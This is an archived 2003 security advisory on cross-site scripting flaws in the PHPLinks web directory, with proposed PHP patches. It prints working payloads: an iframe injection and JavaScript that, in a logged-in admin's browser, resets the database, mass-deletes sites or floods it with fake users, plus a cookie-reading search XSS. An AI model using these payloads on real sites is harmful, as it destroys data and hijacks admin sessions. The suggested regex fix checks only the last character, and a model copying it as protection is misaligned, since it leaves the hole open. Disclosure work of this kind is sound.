21th Jan 2003 [SBWID-5941]
COMMAND
PHPLinks multiple vulnerabilties
SYSTEMS AFFECTED
latest ? (as of 21 January 2003)
PROBLEM
JeiAr from CyberArmy Security Research ACAT Team
[http://www.gulftech.org], [http://www.security-research.org] says :
There lies a fault in the include/add.php script that allows a remote
attacker to inject code into the script and have it run as an admin.
The vulnerability comes from improper input validation and improper
session authentication. Below Is some example code that I have written.
Put this in one of the field on "Add Site" form located at
http://blah/phplinks/index.php?show=add&PID=
If you inject the code into the Site Title or Site Url field, the code
will be ran as soon as a logged in administrator views it.
<iframe src=http://blah/death.html></iframe>
Below is the code for the called file "death.html"
---------------------------------------------------------------------------
<script language=JavaScript>
var i = 10; // This is the number of the user ID to start deleting
var BaseURL = "http://victimsite/phplinks/";
window.open(BaseURL + '/admin/reset.php?
reset_in=&reset_out=&search_terms=&referrers=&submit='); // this resets
the database
function Waste()
{
while (i) {
i++;
window.open(BaseURL + 'admin/delete_site.php?dbtable=links&ID=' + i
+ '&sure=Yes');
}
}
</script>
<body onLoad="Waste();">
---------------------------------------------------------------------------
As you can see, that code (when called by a logged in admin validating
sites) is run, the database is in alot of cases going to be left empty.
By the way, the dbtable=links can be changed to dbtable=temp in order
to affect sites not yet approved etc. On the other hand you can add
users to the database and more. Take the following code for example
<iframe src=http://blah/life.html></iframe>
Below is the code for the called file "life.html"
---------------------------------------------------------------------------
<script language=JavaScript>
var i = 1;
var BaseURL = "http://victimsite/phplinks/";
function Gluttony()
{
while (i) {
i++;
window.open(BaseURL + '/admin/add_site.php?SiteName=JeiAr0wnethTheee' + i
+ '&SiteURL=http://www.b' + i + 'j.orfd&Description=' + i
+'3333333333333333333333333333333333&Category=&Country=Turkey.gif&Email=1@t
.' + i + '&UserName=12345' + i
+ '&Password=12345678&Hint=12345678910&add=' + i + '&sure=Yes');
}
}
</script>
<body onLoad="Gluttony();">
---------------------------------------------------------------------------
Once again, when a logged in admin goes to validate sites (unless they
have a popup killer, JS disabled, etc.) they are gonna be adding MANY
users to the database before they really realize what's happening. This
also jolt's the server quit a bit by hogging up resources. You can
basically change almost anything that the admin can by just injecting
code. Also, note that these proof of concept scripts could be altered
to supply large numbers of malformed site submissions, and instead make
it something worse like popunder windows etc. But I do not feel it
would be very good to release a script like that publicly :) Also note
that for whatever reason the most updated norton AV does not pick this
script up as a window bomb. Maybe it's cause my JavaScript is so
bastardized it doesn't recognize the code at all. heheh j/k I put
together a quick fix. I am no php guru, so if there is a better way
then please correct me :)
In the includes/add.php file find the following
// Handle form submission
if(isset($submit_add)){
And right below it paste the following code
//////////////////////////////////////////////////////////////////////////
// PHPLinks Critical XSS Vulnerability Fix - By JeiAr - jeiar@kmfms.com //
//////////////////////////////////////////////////////////////////////////
$ip = $REMOTE_ADDR;
$info = $HTTP_USER_AGENT;
if (ereg('[-!#$%&\'"*+\\.<->=?^_`{|}]$', $SiteName)) {$err.= "Please enter
A valid Site Name.<BR>";}
if (ereg('[-!#$%&\'"*+\\.<->=?^_`{|}]$', $SiteURL)) {$err.= "Please enter
A valid Site URL.<BR>";}
if (ereg('[-!#$%&\'"*+\\.<->=?^_`{|}]$', $Description)) {$err.= "Enter A
valid Description.<BR>";}
if (ereg('[-!#$%&\'"*+\\.<->=?^_`{|}]$', $Category)) {$err.= "Enter A
valid Category.<BR>";}
if (ereg('[-!#$%&\'"*+\\.<->=?^_`{|}]$', $Country)) {$err.= "Enter A valid
Country.<BR>";}
if (ereg('[-!#$%&\'"*+\\.<->=?^_`{|}]$', $UserName)) {$err.= "Enter A
valid UserName.<BR>";}
if (ereg('[-!#$%&\'"*+\\.<->=?^_`{|}]$', $PW)) {$err.= "Please enter A
valid Password.<BR>";}
if (ereg('[-!#$%&\'"*+\\.<->=?^_`{|}]$', $PW2)) {$err.= "Please enter A
valid Password.<BR>";}
if (ereg('[-!#$%&\'"*+\\.<->=?^_`{|}]$', $Hint)) {$err.= "Please enter A
valid Hint.<BR>";}
if ($err) {
echo $err;
echo "<b>Possible Hack Attempt!!</b><br>";
echo "<b>$ip</b><br>";
echo "<b>$info</b><br>";
echo "<a href=index.php?show=add>Back</a>";
exit;
}
/////////////////////////////////////////////////////////////////////////
There is also a much less serious, but similar issue with the search
feature. You can basically execute just about any JavaScript or HTML
code and maybe more? Here is an example
http://www.blah.org/index.php?term=<script>alert(document.cookie)</script>
And if you write a script to send many automated malformed search
strings, the code will show up with the most searched for terms on the
main search page, thus running any code you supply on the sites
visitors browsers. Below is a quick fix for that, I basically just ereg
the input for invalid metacharacters.
in includes/results.php find the following
if(isset($term) && strlen($term)>0){
Below it place the following
/////////////////////////////////////////////////////////////////////////
// PHPLinks XSS Vulnerability Fix - By JeiAr - jeiar@kmfms.com 01-2003 //
/////////////////////////////////////////////////////////////////////////
$ip = $REMOTE_ADDR;
$info = $HTTP_USER_AGENT;
if (ereg('[-!#$%&\'"*+\\.<->=?^_`{|}]$', $term)) {$err.= "Please enter A
valid Search Term.<BR>";}
if ($err) {
echo $err;
echo "<b>Possible Hack Attempt!!</b><br>";
echo "<b>$ip</b><br>";
echo "<b>$info</b><br>";
echo "<a href=index.php>Back</a>";
exit;
}
////////////////////////////////////////////////////////////////////////
One bad thing about the most searched for keywords feature, is that
anyone can put their web page, name, or something obscene as a search
term. After clicking submit xxx number of times, they now have whatever
they want on your main search page. Not really a security issue, but
could be annoying. Don't ya think? And if someone used some CSS they
could basically deface the site in a really lame kinda way ..
SOLUTION
?
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